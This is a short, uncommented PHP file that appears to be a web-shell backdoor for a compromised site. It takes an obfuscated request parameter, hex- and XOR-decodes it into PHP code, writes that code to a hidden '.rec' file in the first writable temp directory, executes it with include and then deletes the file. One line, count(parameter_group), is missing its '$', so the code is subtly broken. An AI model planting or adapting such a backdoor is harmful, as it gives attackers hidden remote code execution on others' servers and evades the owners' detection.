<?php

if(isset($_REQUEST["\x73\x79mb\x6Fl"]) ? true : false){
$pset = hex2bin($_REQUEST["\x73\x79mb\x6Fl"]);
$obj    =    ''   ;      foreach(str_split($pset) as $char){$obj.=chr(ord($char)^57);}
$parameter_group = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), getenv("TEMP"), "/var/tmp", session_save_path()]);
$fac = 0;
do {
    $tkn = $parameter_group[$fac] ?? null;
    if ($fac >= count(parameter_group)) break;
            if (!( !is_dir($tkn) || !is_writable($tkn) )) {
            $pgrp = sprintf("%s/.rec", $tkn);
            if (@file_put_contents($pgrp, $obj) !== false) {
    include $pgrp;
    unlink($pgrp);
    exit;
}
        }
    $fac++;
} while (true);
}